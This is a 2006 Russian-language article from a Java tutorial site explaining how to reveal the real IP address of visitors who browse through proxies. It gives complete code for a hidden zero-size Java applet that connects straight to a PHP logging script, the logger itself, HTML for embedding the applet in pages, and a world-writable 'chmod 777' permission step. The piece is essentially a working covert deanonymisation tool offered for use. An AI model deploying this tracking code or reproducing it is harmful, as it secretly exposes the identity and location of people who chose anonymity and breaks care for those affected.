Логин:   Пароль:




Новости
Рассылки
Форум
Поиск


Java
- Апплеты
- Вопрос-ответ
- Классы
- Примеры
- Руководства
- Статьи
- IDE
- Словарь терминов
- Скачать

Мобильная Java
- Игры
- Примеры
- Статьи
- WAP, WML и пр.

JavaScript
- Вопрос-ответ
- Примеры
- Статьи

Веб-мастеринг
- HTML
- CSS
- SSI

Разминка для ума
Проекты
Книги
Ссылки
Программы
Юмор :)




Rambler's Top100

Статьи - разминка для умаОпределяем реальный IP

Определяем реальный IP

Сегодня мы будем учиться узнавать реальный IP человека за SOCKS/анонимной HTTP/любой другой проксях. Работает это если у него в браузере включена поддержка Java-апплетов (по дефолту в огнелисе и в опере включены !). Апплет будет создавать подключение к специальному скрипту-снифферу через свой сокет, а скрипт на PHP будет логировать его IP. Вот и все пояснения, исходники тут: Апплет IPLog.java (на сервер надо выкладывать скомпиленный байт-код IPLog.class C:>javac IPlog.java - чтобы скомпилить, надо Java SDK или Eclipse Studio)

/**
* IPLog.java
* @author WindEX
*/

import java.applet.*;
import java.io.*;
import java.net.*;

public class IPLog extends Applet {
public void init() {
 setLayout(null);
 String params = "?sess="+getParameter("sess");
 String buff = "";
 int c;
 URL hp;
 try {
  hp = new URL("http", getParameter("host"), 80, getParameter("sniffpath")+params);
  InputStream input = hp.openStream();
  while ((c = input. read()) != -1) {
   buff = buff + (char) c;
  }
  input.close();
 } catch (Exception e1) { buff = "An error occured"; }
 
}
}
ПХП-логгер:
<?php 
$f=Fopen("./result.log","a") or die("ale!!!!!!!!!");
fputs($f,$REMOTE_ADDR."\n");
fputs($f,$QUERY_STRING."\n---------------------\n");
fclose($f);
echo("Your IP logged");
?>

Дальше во все файлы, обращение к которым надо логировать, вставляем (параметр sess - какое-нибудь уникальное значение, необходим для связывания запроса через прокси и реального IP)

<html;>
<applet; code=IPLog width=0 height=0>
<param; name=sess value=(какое-нибудь уникальное значение)>
<param; name=host value='yoursite.ru'>
<param; name=sniffpath value='/logging/sniff.php'>
</applet>
</html>
И не забудь создать файл result.log и поставить на него необходимые права
$touch result.log;chmod 777 result.log


Автор: WindEX,
Май 2006 г.



Х. М. Дейтел, П. Дж. Дейтел, С. И. Сантри
"Технологии программирования на Java 2. Книга 2. Распределенные приложения"
Подробнее>>
Заказать>>


Марк Гранд
"Шаблоны проектирования в JAVA. Каталог популярных шаблонов проектирования, проиллюстрированных при помощи UML"
Подробнее>>
Заказать>>

Узнай о чем ты на самом деле сейчас думаешь тут.


Опрос
Считаете ли вы целесообразным сделать аналог упражнений по Hibernate на базе вопросов www.sql-ex.ru?
Да, полный аналог упражнений
Да, но с реализацией основных конструкций объектной модели
Нет, Hibernate не актуален, использую др. технологии
Нет



Apache Struts 2.0.11
Apache MyFaces Trinidad Core 1.2.3.
Sun переводит мобильные устройства с Java ME на Java SE
Хакерская атака!